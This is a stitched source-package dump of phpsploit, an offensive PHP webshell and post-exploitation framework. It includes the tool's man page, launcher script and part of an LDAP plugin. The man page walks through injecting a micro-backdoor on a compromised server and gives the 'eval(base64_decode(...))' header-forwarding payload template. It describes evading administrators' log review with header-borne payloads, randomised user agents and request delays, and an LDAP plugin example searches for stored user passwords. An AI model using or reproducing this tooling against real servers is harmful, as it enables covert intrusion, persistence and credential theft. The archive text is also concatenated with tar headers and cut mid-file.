to be valid php code, and it's preferable to make him non\-verbose, by prexifing it's main function with an \fI@\fR. For example, \fI@\fReval() instead of eval(). For more informations about how \fBphpsploit\fR builds request, please read the \fBREQUEST BUILDING\fR section. The only purpose of the \fBBACKDOOR\fR is to execute the \fBREQ_HEADER_PAYLOAD\fR's content so it need to contain the dynamic var %%PASSKEY%%. .RS \fBDefault value: \fR .RE .TP \fBPASSKEY\fR This var is interesting for customisation, assuming it is used as main header forwarder's name, changing is default value will act as a \fIpassword\fR, making another \fBphpsploit\fR user unable to use your \fIbackdoor\fR if it does not own the \fBPASSKEY\fR. .RS \fBDefault value: phpSpl01t\fR .RE .TP \fBPROXY\fR With this setting, you can specify an \fIHTTP Proxy\fR, matching the pattern \fBaddress:port\fR, to send \fBphpsploit\fR's requests through it. Be carrefull, a non\-working \fBPROXY\fR will make the requests unreachable. To disable the proxy, set it's value to \fBNone\fR. .RS \fBDefault value: None\fR .RE .TP \fBSAVEPATH\fR Here you can specify the default directory that will be used to save \fBphpsploit\fR sessions, when no arguments are specified for the \fBsave\fR command. It uses your system's temporary directory as \fIdefault\fR value. .TP \fBTMPPATH\fR This setting is a bit different than the \fBSAVEPATH\fR one, because phpsploit use it to write temporary files, for example, it is used by the \fBedit\fR command in the \fIremote shell\fR. It uses your system's temporary directory as \fIdefault\fR value. .TP \fBREQ_DEFAULT_METHOD\fR This is the default http METHOD that will be used to send payloads, so it's value can only be \fIGET\fR or \fIPOST\fR. .RS \fBDefault value: GET\fR .RE .TP \fBREQ_HEADER_PAYLOAD\fR This setting is the dynamic payload forwarder, when a request is send by the \fBphpsploit\fR framework, a dynamic \fIHTTP HEADER\fR will be sent on eaceh request, the header's name is the \fBPASSKEY\fR setting, and the value is the \fBREQ_HEADER_PAYLOAD\fR value, for more informations about how \fBphpsploit\fR builds requests, please read the \fBREQUEST BUILDING\fR section. .RS \fBDefault value: eval(base64_decode(%%BASE64%%))\fR .RE .TP \fBREQ_INTERVAL\fR This setting can be usefull for large payloads, sent with a big amount of requests, for example, when using the \fBupload\fR's remote shell command, when seending a big file to the server. It's used to add a delay between each request with a simple syntax. Using a number as value (ex: 20) will wait this exact numer of seconds, but you cal also specify a tuple of numbers, for example, the default value will make the builder wait a random number of seconds between \fB1\fR and \fB10\fR before each request. To disable it, just set it to \fI0\fR. .RS \fBDefault value: 1\-10\fR .RE .TP \fBREQ_MAX_HEADERS\fR \fBMainly used for HTTP GET requests\fR. Assuming that phpsploit use http headers for payload encapsulation, it's important to know what is the exact http server's headers limit, because a too small \fBREQ_MAX_HEADERS\fR value will decrease the max payload size per request. Most servers, like apache and IIS accept up to 100 headers per request, but other servers can allow 200 headers or more, and smaller servers can limit headers numer to 50 or less. The default value works with a large amount of common servers with default configuration, but in some cases it will be necessary to reduce this value. .RS \fBDefault value: 100\fR .RE .TP \fBREQ_MAX_HEADER_SIZE\fR \fBMainly used for HTTP GET requests\fR. This setting is complementary to the \fBREQ_MAX_HEADERS\fR one, because it sets the max size that \fIeach header\fR can contain. In most cases, the common servers limit the size to \fI8Kio\fR, but many others, like \fBapache tomcat\fR and a lot of virtualized web hosting solutions limit the maximum size of each header to \fI4Kio\fR or less. .RS \fBDefault value: 8Kb\fR .RE .TP \fBREQ_MAX_POST_SIZE\fR \fBMainly used for HTTP POST requests\fR. This is the target server's limit for POST data, in a lot of servers, this limit is very large, such as 32Mio or more, but a lot of other web servers, and their default configurations sets this limit to 8Mio. If you intend to use POST request during a remote \fBphpsploit\fR session, it is recommended to run the \fBphpinfo\fR command that provides the real server's \fImaximum post size\fR, then adapt the \fBphpsploit\fR's \fBREQ_MAX_POST_SIZE\fR. .RS \fBDefault value: 8Mb\fR .RE .TP \fBREQ_ZLIB_TRY_LIMIT\fR On the \fBphpsploit\fR's request builder, when the payload can't be sent in one single request because he is too large, the framework will start a lot of computering functions to calculate how much requests are needed for each \fIhttp method\fR, and to decrease the number of needed requests, he will each time try to compress the payload with \fBZLIB\fR, this feature is usefull to descrease the number of requests. But, the bigger the base payload, the slower the needed computation time. Assuming this, you can with this setting specify a maximum payload size, from which the manufacturer will not longer try to compress the cuted payload. That will increase the number of needed requests, but shalt the computation time acceptable. More powerfull your computer, more this value can be increased. .RS \fBDefault value: 5Mb\fR .RE .TP \fBHTTP_USER_AGENT\fR This is the user\-agent header used on each \fBphpsploit\fR request, to pick a random user\-agent from a wordlist on each request, you can also use a \fIfile object\fR as value. .RS \fBDefault value: file://framework/misc/http_user_agents.lst\fR .RE .P Note that the \fBHTTP_USER_AGENT\fR setting is included by default, but it is possible to create as many default headers as you want, you just need to create a setting starting with HTTP_ followed by the name of the header. .RS \fBExample: set HTTP_ACCEPT_LANGUAGE fr\-FR;en\-US\fR .RE .P \fIFile objects\fR can be used for HTTP_* settings, the syntax is \fBfile:///full/path/to/file.txt\fR, these objects will pick an random line in file for each http request. This facilitates polymorphic requests generation, and therefore, stealth. A file object is defaultly used for the \fBHTTP_USER_AGENT\fR setting. .SH REMOTE ENVIRONMENT .P The remote environment variables are available from the \fBREMOTE SHELL\fR. They are usefull to store server related informations, and \fBPSPAPI\fR plugins have write access to them. .P User can show, edit or delete them with the "\fBenv\fR" command, through the \fBREMOTE SHELL\fR instance. .P Be very careful while manually editing these variables, because wrong values can render inoperative certain commands. .P There is a list of \fBREMOTE ENVIRONMENT\fR variables defaultly used by \fBphpsploit\fR core and built\-in plugins: .TP \fBCWD\fR This variable contains the current remote working directory, the \fBcd\fR and \fBpwd\fR commands use it as reference. .TP \fBWEB_ROOT\fR This variable contains the absolute path to the remote web root directory. .TP \fBWRITE_TMPDIR\fR This variable imperatively needs to conatain the absolute path to a writeable remote directory. It is essential for multirequest payloads execution, that stores full payload parts into this path. .TP \fBWRITE_WEBDIR\fR This environment variable contains the absolute path to a writeable remote directory \fIimperatively accessible from the web\fR. It can be used for evasion \fBMODULES\fR. .SH REQUEST BUILDING .P This section is about how the \fBphpsploit framework\fR manages the requests. .P \fB1 \- BACKDOOR\fR .RS .IP \(bu 3 First, the \fBBACKDOOR\fR setting defines the main backdoor template, him, \fIand only HIM\fR needs to be written in the \fBTARGET\fR remote URL. .IP \(bu 3 To understand the principle, it is necessary to know that the PHP language automatically adds all the \fIrequest headers\fR into the $_SERVER global array, prefixing each header name by the "HTTP_" string. .IP \(bu 3 Assuming that, the \fBBACKDOOR\fR just works like a forwarder, executing the $_SERVER['HTTP_%%\fBPASSKEY\fR%%'] remote variable who contains the \fBREQ_HEADER_PAYLOAD\fR. .RE .P \fB2 \- REQ_HEADER_PAYLOAD\fR .RS .IP \(bu 3 The \fBREQ_HEADER_PAYLOAD\fR also known as \fIHeader Forwarder\fR is a header that is sent on each http request, the \fBPASSKEY\fR setting is used as name, and the \fBREQ_HEADER_PAYLOAD\fR is he's value's template. .IP \(bu 3 This header acts like a payload forwarder, permitting execution of the \fBBASE64 PAYLOAD\fR, by executing \fBBASE64\fR encoded php code. .RE .P \fB3 \- BASE64 PAYLOAD\fR .RS .IP \(bu 3 The \fBBASE64 PAYOLOAD\fR is automatically generated for each request, he is the last step for \fIreal payload execution\fR. They undencoded values can be found in the \fI./framework/phpfiles/forwarders/\fR \fBphpsploit\fR directory. .IP \(bu 3 \fBFor POST request\fR, this payload executes the $POST['%%\fBPASSKEY\fR%%'] php variable, who is used as \fBREAL PAYLOAD\fR when usgin this http method. .IP \(bu 3 \fBFor GET requests\fR, it acts concatenating the list of dynamic \fBphpsploit\fR headers alphabetically reordrered, each containing the splitted \fBREAL PAYLOAD\fR. .RE .P \fB4 \- REAL PAYLOAD\fR .RS .IP \(bu 3 The \fBREAL PAYLOAD\fR contains a large amout of \fIzlib compressed\fR then \fIbase64 encoded\fR php code, who is dynamically generated by the \fBphppsloit\fR framework's optimization functions. .IP \(bu 3 Unencoded (defaultly done by the \fBBASE64 PAYLOAD\fR), he is the \fBBASE PAYLOAD\fR passed through \fBENCAPSULATION\fR. .RE .P \fB5 \- BASE PAYLOAD\fR .RS .IP \(bu 3 The base payload, can be a plugin's payload (contained in the \fI./framework/commands///payload.php\fR file), or the default \fBphpsploit\fR remote session opener that is called when running the \fBexploit\fR command (available in the \fI./framework/phpfiles/server_link/open.php\fR file). .IP \(bu 3 Base payloads are php 4.1.1 compatible (because a lot of web servers already use an old version of php). .IP \(bu 3 The \fI!import()\fR lines allows php base payloads to import \fBphpsploit\fR dedicated functions contained in the\fI./framework/phplibs/\fR directory. Usefull to limit redundancy. .RE .P \fB6 \- ENCAPSULATION\fR .RS .IP \(bu 3 To manage return codes and \fBphpsploit\fR tunneling, each \fBBASE PAYLOAD\fR is encapsulated with the \fI./framework/phpfiles/encapsulator.php\fR's php code. .IP \(bu 3 It also manages response compression with \fBZLIB\fR, to speed\-up server's responses. .RE .SH FILES .P \fBConfiguration directory:\fR .TP If the \fB$XDG_CONFIG_HOME\fR shell environment variable is set: \fB${XDG_CONFIG_HOME}/phpsploit/\fR (a.k.a. likely ~/.config/phpsploit/) .TP Else the user home is used as base directory: \fB~/.phpsploit/\fR (a.k.a. ${HOME}/.phpsploit/ on GNU/Linux) .P The "./config" file is used as \fBphpsploit\fR configuration file, on root user's configuration directory. It allows to reconfigure the default \fBSETTINGS\fR (see the \fBSETTINGS\fR section for more informations) .P The "./plugins/" directory can be used to make your own \fBphpsploit\fR plugins. .SH ISSUES .TP To submit any issue, bug or proposal, please send it in the phpsploit's issues section: https://bitbucket.org/nil0x42/phpsploit/issues .SH CONTRIBUTE .TP If you want to contribute to \fBphpsploit\fR, submit a plugin, patch, or anything else, take a look at the \fBCONTRIBUTE\fR file, from the ./doc directory .SH AUTHOR .P \fBnil0x42\fR .SH LICENCE .P This software is under the GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 .\" man code generated by txt2tags 2.6 (http://txt2tags.org) .\" cmdline: txt2tags -q -t man -i man.txt2tags -o phpsploit.1 phpsploit-3.2+git20240329.aea961d/man/phpsploit.txt000066400000000000000000000536511460155776400215250ustar00rootroot00000000000000(1) General Commands Manual (1) PHPSPLOIT NAME phpsploit — furtive tunnel based php webshell SYNOPSIS phpsploit [target-url|session] DESCRIPTION phpsploit is a furtive tunnel based php webshell: it was designed in order to help privilege escalation through a very small php backdoor, while remaining the most stealth, efficient, and adjustable as possi‐ ble. It innovates by settling for a remotely stored micro backdoor that for‐ wards to dynamic encoded HTTP headers, which act as dynamic payload. This feature is usefull to bypass admins searching for suspicious lines in the server logs, because GET requests without arguments, are not as suspect as POST requests, or GET requests with suspicious arguments (eg: "?cmd=cat&edit=/etc/passwd"). The phpsploit framework is plugin based, so users can easily make their own plugins, or edit the built-in ones, with the pspapi (phpsploit API) that interracts with the target server through the framework. Its structure allows him to evolve and be easily adapted to all types of web exploitation scenarios, because every setting can be edited globally (through user configuration file), or locally, using the set command. A backdoor to bring them all... - https://bitbucket.org/nil0x42/php‐ sploit OPTIONS Running phpsploit without any argument runs a blank session, with all settings set to default. If an URL is specified as argument, only sets the TARGET setting to that value. $ phpsploit http://127.0.0.1/backdoored-url.php You also can use a previously saved session file as argument, to use him instead of a blank session. Sessions can (and need to) be saved with the save command. $ phpsploit ~/targets/localhost/phpsploit.session For inline help, you also can use phpsploit --help USAGE The most basic way to use phpsploit it as described here: 1. First, find a remote php execution access. 2. Open phpsploit, and run the infect command to get the working backdoor. 3. Inject that backdoor on the remote server. 4. Run "set TARGET http://site/backdoored-url.php". 5. You also can edit some SETTINGS (with the "set" command), such as the PROXY, or REQ_* variables. 6. Just type "exploit", and enjoy your remote shell access :) WARNING: If the "exploit" command doesn't works, and returns an error, it can be for a lot of reasons: 1. HTTP Error 400: Bad request - Generally, this error occurs because one or some REQ_* settings are too big for the server. So you need to settle their values. 2. Request error: Connection refused - If you are sure that the specified TARGET is accessible from your computer (or from the PROXY if defined), this error can occur because the PROXY is invalid 3. If you have injected your BACKDOOR in an existing remote php code, make sure it is each time executed. 4. Other issues can occur because one of your SETTINGS where modified without taking care of their validity, or because an IDS has detected the exploitation try. 5. If the encountered issue is not in the list, you can also post an issue with all details here: https://bit‐ bucket.org/nil0x42/phpsploit/issues or contact the Author (see the AUTHOR section) INTERFACE The phpsploit framework includes two shell interfaces. â€ĸ The MAIN SHELL is the first shell interface, spawned when the framework starts. It is used to prepare a target exploita‐ tion. Through it, you can locally adjust the SETTINGS with the "set" command, and use the "infect" command to get the micro-backdoor that needs to be injected on the target. â€ĸ The REMOTE SHELL interface starts when a target server was exploited. Its is used to interract with the backdoored URL. TO GET HELP on a phpsploit command, you can use "help ", " --help" or " -h". If there is no specific help for a command, such as infect, a short description of each command's pur‐ pose is available typing help without arguments. The commands are auto-completed on unix clients, and try to use read‐ line if available. They are divided into groups when shown whith the "help" command: â€ĸ The CORE COMMANDS contains all commands available through ev‐ ery interface. â€ĸ The Shell Commands contains the commands specific to the cur‐ rent interface. â€ĸ In the remote shell, plugin commands are grouped by cate‐ gories. Core Commands: clear Clear the terminal screen exit Leave the current shell interface help Shows help for all available commands infect Prints a working backdoor to inject in the target lcd Change local working directory lpwd Print local working directory rtfm Read this manual page save Save the current session in a file, for future usage set View and edit phpsploit settings MAIN SHELL When entering phpsploit, the main shell is spawned, it helps you to lo‐ cally edit your settings (set command), get the working backdoor (in‐ fect command), and then start the remote shell (exploit command). Shell Commands: exploit Drop a shell from target server REMOTE SHELL When you run the exploit command, you enter the remote shell, and di‐ rectly interracts with the remotely backdoored server through the php‐ sploit plugins. Typing help will show the available commands. Core Commands are all the phpsploit remote shell built-in commands. Shell Commands: env This command interracts with the environment variables, for more informations, please read the REMOTE ENVIRONMENT section. lastcmd Allows user to show or save the last command output reload Reloads the commands list, usefull if you have edited one plugin during an exploitation session shell Various command plugins, such as system, mysql and suidroot can be used as frontend shell. For example, "> shell system" will spawn the "system" command as default prompt, making all typed lines to be executed by this plugin. All the other remote shell commands are in reality dynamic plugins, built with the PSPAPI (phpsploit API). As with all commands, you can use "help " to get help. The built-in plugins are storred in the ./framework/plugins/ directory, sorted by categories, you can edit a built-in or make your own command, with the PSPAPI. If you want to make you own plugin, it is recommended to use the alter‐ native plugin directory ./plugins/ from the phpsploit's user directory, this one works exactly like the buit-in plugins directory. If a command has been edited during an exploitation session, use the "reload" command to reload the plugins list. SETTINGS The phpsploit settings are available from the interface, they can be viewed, and edited with the set command. When a new session is opened, all settings are set to their default values, specified in the phpsploit's user configuration file. Editing this file allows you to specify your own default values, a very usefull feature for polymorphic backdoor, or custom HTTP headers. To get more informations about the configuration directory, please go to the FILES section. TARGET This setting contains the remote backdoored URL in target server, for example, if you have injected the backdoor (obtained with the infect command) on a file named test.php in your local server's webroot, the TARGET will be http://localhost/test.php . Default value: None BACKDOOR This is the backdoor template, used to generate the effective micro-payload to be written into a target web page, it needs to be valid php code, and it's preferable to make him non-verbose, by prexifing it's main function with an @. For example, @eval() instead of eval(). For more informations about how phpsploit builds request, please read the REQUEST BUILDING section. The only purpose of the BACKDOOR is to execute the REQ_HEADER_PAY‐ LOAD's content so it need to contain the dynamic var %%PASSKEY%%. Default value: PASSKEY This var is interesting for customisation, assuming it is used as main header forwarder's name, changing is default value will act as a password, making another phpsploit user unable to use your backdoor if it does not own the PASSKEY. Default value: phpSpl01t PROXY With this setting, you can specify an HTTP Proxy, matching the pattern address:port, to send phpsploit's requests through it. Be carrefull, a non-working PROXY will make the requests un‐ reachable. To disable the proxy, set it's value to None. Default value: None SAVEPATH Here you can specify the default directory that will be used to save phpsploit sessions, when no arguments are specified for the save command. It uses your system's temporary directory as de‐ fault value. TMPPATH This setting is a bit different than the SAVEPATH one, because phpsploit use it to write temporary files, for example, it is used by the edit command in the remote shell. It uses your sys‐ tem's temporary directory as default value. REQ_DEFAULT_METHOD This is the default http METHOD that will be used to send pay‐ loads, so it's value can only be GET or POST. Default value: GET REQ_HEADER_PAYLOAD This setting is the dynamic payload forwarder, when a request is send by the phpsploit framework, a dynamic HTTP HEADER will be sent on eaceh request, the header's name is the PASSKEY setting, and the value is the REQ_HEADER_PAYLOAD value, for more infor‐ mations about how phpsploit builds requests, please read the RE‐ QUEST BUILDING section. Default value: eval(base64_decode(%%BASE64%%)) REQ_INTERVAL This setting can be usefull for large payloads, sent with a big amount of requests, for example, when using the upload's remote shell command, when seending a big file to the server. It's used to add a delay between each request with a simple syntax. Using a number as value (ex: 20) will wait this exact numer of seconds, but you cal also specify a tuple of numbers, for exam‐ ple, the default value will make the builder wait a random num‐ ber of seconds between 1 and 10 before each request. To disable it, just set it to 0. Default value: 1-10 REQ_MAX_HEADERS Mainly used for HTTP GET requests. Assuming that phpsploit use http headers for payload encapsulation, it's important to know what is the exact http server's headers limit, because a too small REQ_MAX_HEADERS value will decrease the max payload size per request. Most servers, like apache and IIS accept up to 100 headers per request, but other servers can allow 200 headers or more, and smaller servers can limit headers numer to 50 or less. The default value works with a large amount of common servers with default configuration, but in some cases it will be neces‐ sary to reduce this value. Default value: 100 REQ_MAX_HEADER_SIZE Mainly used for HTTP GET requests. This setting is complementary to the REQ_MAX_HEADERS one, because it sets the max size that each header can contain. In most cases, the common servers limit the size to 8Kio, but many others, like apache tomcat and a lot of virtualized web hosting solutions limit the maximum size of each header to 4Kio or less. Default value: 8Kb REQ_MAX_POST_SIZE Mainly used for HTTP POST requests. This is the target server's limit for POST data, in a lot of servers, this limit is very large, such as 32Mio or more, but a lot of other web servers, and their default configurations sets this limit to 8Mio. If you intend to use POST request during a remote phpsploit session, it is recommended to run the phpinfo command that provides the real server's maximum post size, then adapt the phpsploit's REQ_MAX_POST_SIZE. Default value: 8Mb REQ_ZLIB_TRY_LIMIT On the phpsploit's request builder, when the payload can't be sent in one single request because he is too large, the frame‐ work will start a lot of computering functions to calculate how much requests are needed for each http method, and to decrease the number of needed requests, he will each time try to compress the payload with ZLIB, this feature is usefull to descrease the number of requests. But, the bigger the base payload, the slower the needed computation time. Assuming this, you can with this setting specify a maximum payload size, from which the manufac‐ turer will not longer try to compress the cuted payload. That will increase the number of needed requests, but shalt the com‐ putation time acceptable. More powerfull your computer, more this value can be increased. Default value: 5Mb HTTP_USER_AGENT This is the user-agent header used on each phpsploit request, to pick a random user-agent from a wordlist on each request, you can also use a file object as value. Default value: file://framework/misc/http_user_agents.lst Note that the HTTP_USER_AGENT setting is included by default, but it is possible to create as many default headers as you want, you just need to create a setting starting with HTTP_ followed by the name of the header. Example: set HTTP_ACCEPT_LANGUAGE fr-FR;en-US File objects can be used for HTTP_* settings, the syntax is file:///full/path/to/file.txt, these objects will pick an random line in file for each http request. This facilitates polymorphic requests generation, and therefore, stealth. A file object is defaultly used for the HTTP_USER_AGENT setting. REMOTE ENVIRONMENT The remote environment variables are available from the REMOTE SHELL. They are usefull to store server related informations, and PSPAPI plug‐ ins have write access to them. User can show, edit or delete them with the "env" command, through the REMOTE SHELL instance. Be very careful while manually editing these variables, because wrong values can render inoperative certain commands. There is a list of REMOTE ENVIRONMENT variables defaultly used by php‐ sploit core and built-in plugins: CWD This variable contains the current remote working directory, the cd and pwd commands use it as reference. WEB_ROOT This variable contains the absolute path to the remote web root directory. WRITE_TMPDIR This variable imperatively needs to conatain the absolute path to a writeable remote directory. It is essential for multire‐ quest payloads execution, that stores full payload parts into this path. WRITE_WEBDIR This environment variable contains the absolute path to a write‐ able remote directory imperatively accessible from the web. It can be used for evasion MODULES. REQUEST BUILDING This section is about how the phpsploit framework manages the requests. 1 - BACKDOOR â€ĸ First, the BACKDOOR setting defines the main backdoor tem‐ plate, him, and only HIM needs to be written in the TARGET remote URL. â€ĸ To understand the principle, it is necessary to know that the PHP language automatically adds all the request headers into the $_SERVER global array, prefixing each header name by the "HTTP_" string. â€ĸ Assuming that, the BACKDOOR just works like a forwarder, exe‐ cuting the $_SERVER['HTTP_%%PASSKEY%%'] remote variable who contains the REQ_HEADER_PAYLOAD. 2 - REQ_HEADER_PAYLOAD â€ĸ The REQ_HEADER_PAYLOAD also known as Header Forwarder is a header that is sent on each http request, the PASSKEY setting is used as name, and the REQ_HEADER_PAYLOAD is he's value's template. â€ĸ This header acts like a payload forwarder, permitting execu‐ tion of the BASE64 PAYLOAD, by executing BASE64 encoded php code. 3 - BASE64 PAYLOAD â€ĸ The BASE64 PAYOLOAD is automatically generated for each re‐ quest, he is the last step for real payload execution. They undencoded values can be found in the ./framework/php‐ files/forwarders/ phpsploit directory. â€ĸ For POST request, this payload executes the $POST['%%PASSKEY%%'] php variable, who is used as REAL PAY‐ LOAD when usgin this http method. â€ĸ For GET requests, it acts concatenating the list of dynamic phpsploit headers alphabetically reordrered, each containing the splitted REAL PAYLOAD. 4 - REAL PAYLOAD â€ĸ The REAL PAYLOAD contains a large amout of zlib compressed then base64 encoded php code, who is dynamically generated by the phppsloit framework's optimization functions. â€ĸ Unencoded (defaultly done by the BASE64 PAYLOAD), he is the BASE PAYLOAD passed through ENCAPSULATION. 5 - BASE PAYLOAD â€ĸ The base payload, can be a plugin's payload (contained in the ./framework/commands///payload.php file), or the default phpsploit remote session opener that is called when running the exploit command (available in the ./frame‐ work/phpfiles/server_link/open.php file). â€ĸ Base payloads are php 4.1.1 compatible (because a lot of web servers already use an old version of php). â€ĸ The !import() lines allows php base payloads to im‐ port phpsploit dedicated functions contained in the./frame‐ work/phplibs/ directory. Usefull to limit redundancy. 6 - ENCAPSULATION â€ĸ To manage return codes and phpsploit tunneling, each BASE PAYLOAD is encapsulated with the ./framework/phpfiles/encap‐ sulator.php's php code. â€ĸ It also manages response compression with ZLIB, to speed-up server's responses. FILES Configuration directory: If the $XDG_CONFIG_HOME shell environment variable is set: ${XDG_CONFIG_HOME}/phpsploit/ (a.k.a. likely ~/.config/php‐ sploit/) Else the user home is used as base directory: ~/.phpsploit/ (a.k.a. ${HOME}/.phpsploit/ on GNU/Linux) The "./config" file is used as phpsploit configuration file, on root user's configuration directory. It allows to reconfigure the default SETTINGS (see the SETTINGS section for more informations) The "./plugins/" directory can be used to make your own phpsploit plug‐ ins. ISSUES To submit any issue, bug or proposal, please send it in the phpsploit's issues section: https://bitbucket.org/nil0x42/phpsploit/issues CONTRIBUTE If you want to contribute to phpsploit, submit a plugin, patch, or any‐ thing else, take a look at the CONTRIBUTE file, from the ./doc direc‐ tory AUTHOR nil0x42 LICENCE This software is under the GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 (1) phpsploit-3.2+git20240329.aea961d/man/update-man.sh000077500000000000000000000005251460155776400213240ustar00rootroot00000000000000#!/bin/bash set -e cd $(dirname $0) man_file="phpsploit.1" man_txt_file="phpsploit.txt" txt2tags -q -t man \ -i man.txt2tags \ -o "$man_file" echo "[+] Man page created at: $(readlink -f $man_file)" MANWIDTH=80 man \ -P cat "./$man_file" \ > "$man_txt_file" echo "[+] Text man page created at: $(readlink -f $man_file)" phpsploit-3.2+git20240329.aea961d/phpsploit000077500000000000000000000160001460155776400201220ustar00rootroot00000000000000#!/usr/bin/env python3 # -*- coding: utf-8 -*- """PhpSploit: Furtive post-exploitation framework PhpSploit is a remote control framework, aiming to provide a stealth interactive shell-like connection over HTTP between client and web server. It is a post-exploitation tool capable to maintain access to a compromised web server for privilege escalation purposes. https://github.com/nil0x42/phpsploit """ import sys import os VERSION = "3.2" # check operating system if sys.platform.lower().startswith('win'): sys.exit('[-] If you use Windows, you should be ' 'a TARGET rather than an attacker ...') # check python version ver = sys.version_info if ver[0] < 3 or (ver[0] == 3 and ver[1] < 5): sys.exit('[-] PhpSploit needs python >= 3.5 to run') # check dependencies from importlib.util import find_spec missing_deps = set() deps_list = { "phpserialize": ("phpserialize",), "pyparsing": ("pyparsing",), "PySocks": ("socks", "sockshandler",), "ExtProxy": ("extproxy",), } for name, deps in deps_list.items(): for dep in deps: if find_spec(dep) is None: missing_deps.add(name) break if missing_deps: for name in missing_deps: print("[-] Missing dependency: %r" % name, file=sys.stderr) sys.exit("[?] Install dependencies with: " "`pip3 install -r requirements.txt`") try: import src # spread phpsploit sources import random import argparse import subprocess as sp import core import ui.input import ui.output import ui.interface from ui.color import colorize from datatypes import Path except KeyboardInterrupt: sys.exit("\r[-] PhpSploit initialization interrupted") def parser_help_formatter(prog): """argparser help output formatter""" kwargs = dict() kwargs['width'] = ui.output.columns() kwargs['max_help_position'] = 34 fmt = argparse.HelpFormatter(prog, **kwargs) return fmt def build_parser(): """build argparse parser""" p = argparse.ArgumentParser() p.formatter_class = parser_help_formatter p.description = "The stealth post-exploitation framework" p.add_argument('-v', '--version', help="output version information and exit", action="store_true") p.add_argument('-c', '--config', help="use alternative configuration file", metavar="") p.add_argument('-l', '--load', help="load session file", metavar="") p.add_argument('-t', '--target', help="set remote TARGET URL", metavar="") p.add_argument('-s', '--source', help="run commands from file (disables interactive mode)", metavar="") p.add_argument('-e', '--eval', help="run phpsploit command (disables interactive mode)", metavar="") p.add_argument('-i', '--interactive', help="force interactive mode if unset by `-e` or `-s`", action="store_true") return p def run_process(cmd): """get output of given shell command""" child = sp.Popen(cmd, stdout=sp.PIPE, stderr=sp.DEVNULL) streamdata = child.communicate()[0] if child.returncode != 0: return "" return streamdata.decode("utf-8").strip() def rand_quote(): """return a random funny quote""" msg_list = Path(src.BASEDIR + "data/quotes.lst").readlines() return random.choice(msg_list).strip() def cmdrun(iface, cmdobj, show_err=False): """run a phpsploit command handle syntax errors & return command's retcode """ try: retval = iface.interpret(cmdobj) if retval != 0 and show_err and iface.last_exception: iface.interpret("corectl stack-traceback") except (SyntaxWarning, SyntaxError) as err: retval = iface.onexception(err) return retval # pylint: disable=too-many-branches def main(): """phpsploit's main function """ # Make phpsploit usable as shebang for scripting if len(sys.argv) == 2 and os.path.isfile(sys.argv[1]): sys.argv.insert(1, "--source") parser = build_parser() opt = vars(parser.parse_args()) if opt['version']: git_ver = run_process(['git', '-C', src.BASEDIR, 'describe']) version = (git_ver + " (git)") if git_ver else VERSION print("PhpSploit Framework, version %s\n" "License GPLv3+: GNU GPL version 3 or later" " \n\n" "This is free software; you are free" " to change and redistribute it.\n" "There is NO WARRANTY, to the extent permitted by law." % version) return 0 # Enable stdout wrapper sys.stdout = ui.output.Wrapper(backlog=True) # determine if the interface would run in interactive mode interactive = False if ui.input.isatty(): if (not opt['eval'] and not opt['source']) or opt['interactive']: interactive = True # make this variable accessible from phpsploit core ui.interface.interactive = interactive # Start shell interface iface = ui.interface.Shell() if opt['config'] is None: opt['config'] = core.USERDIR + "config" if cmdrun(iface, "source -e '%s'" % opt['config'], show_err=True) != 0: print() parser.error("%r: config file contains invalid commands." % opt['config']) elif interactive and ui.output.isatty(): logo = Path(src.BASEDIR + "data/logo.ascii").read() cmdrun(iface, "lrun clear") print(logo) print(colorize("%DimBold", "# Stealth & persistent C2 framework via ", "%White", "evil PHP oneliner")) cmdrun(iface, "help") iface.init() if opt['load']: if cmdrun(iface, "session load '%s'" % opt['load']) != 0: print() parser.error("%r: invalid session file." % opt['load']) if opt['target']: if cmdrun(iface, "set TARGET '%s'" % opt['target']) != 0: print() parser.error("%r: couldn't set target url." % opt['target']) if opt['source']: if cmdrun(iface, "source '%s'" % opt['source']) != 0: print() parser.error("%r: couldn't read source file." % opt['source']) retval = 0 if opt['eval']: retval = cmdrun(iface, opt['eval']) if interactive or not ui.input.isatty(): iface.cmdloop() if ui.output.isatty(): print(colorize("%DimWhite", '\n' + rand_quote() + '\n')) return retval if __name__ == "__main__": sys.exit(main()) else: def check_import(): """check whether this file is imported for a CI test""" launcher = os.path.abspath(__file__) test_dir = os.path.join(os.path.dirname(launcher), "test/") caller = os.path.abspath(sys.argv[0]) if not caller.startswith(test_dir): sys.exit('[-] Phpsploit must be run from launcher: ' + launcher) check_import() phpsploit-3.2+git20240329.aea961d/plugins/000077500000000000000000000000001460155776400176365ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/plugins/active_directory/000077500000000000000000000000001460155776400231755ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/plugins/active_directory/ldap/000077500000000000000000000000001460155776400241155ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/plugins/active_directory/ldap/list.php000066400000000000000000000024151460155776400256030ustar00rootroot00000000000000 &$val) { if(!is_array($val)) { if(!ctype_print($val)) { $val = base64_encode($val); } } else { clearNode($val); } } } clearNode($datas); return $datas; ?>phpsploit-3.2+git20240329.aea961d/plugins/active_directory/ldap/plugin.py000066400000000000000000000065521460155776400257750ustar00rootroot00000000000000"""Client for ldap SYNOPSIS: ldap connect [ ] ldap list ldap search ldap set [ ] DESCRIPTION: > ldap connect [ ] Connect to service > ldap list List node > ldap search Find node based on filter > ldap set List env var > ldap set Set env var EXAMPLES: > ldap connect 10.0.0.100 - Connect anonymously to 10.0.0.100 > ldap connect 10.0.0.100 "cn=admin,dc=example,dc=org" admin - Connect to 10.0.0.100 as "admin" with password "admin" > ldap list "dc=example,dc=org" > ldap search "dc=example,dc=org" "userpassword=*" > ldap set VERSION 3 - Set LDAP protocol V3 AUTHOR: Shiney """ import sys from api import plugin from api import server from api import environ import objects from ui.color import colorize def print_node(node): if 'dn' in node: print(colorize('%BlueBold', node['dn'])) else: print(colorize('%BlueBold', '----------------------')) for key, val in node.items(): if isinstance(val, dict): del val['count'] line = " %s : %s" % (colorize('%Bold', "%20s" % key), ' | '.join(val.values())) print(line) print() if len(plugin.argv) < 2: sys.exit(plugin.help) # Set env var if plugin.argv[1].lower() == "set": if len(plugin.argv) < 3: print(environ['LDAP']) sys.exit(0) if len(plugin.argv) < 4: print('Missing parameter\n> ldap set VAR value') sys.exit(0) if plugin.argv[2].upper() in environ['LDAP']: environ['LDAP'][plugin.argv[2].upper()] = plugin.argv[3] else: sys.exit('This setting doesn\'t exist') sys.exit(0) # Connecting to service if plugin.argv[1].lower() == "connect": if 3 < len(plugin.argv) < 5: sys.exit("Missing parameter") 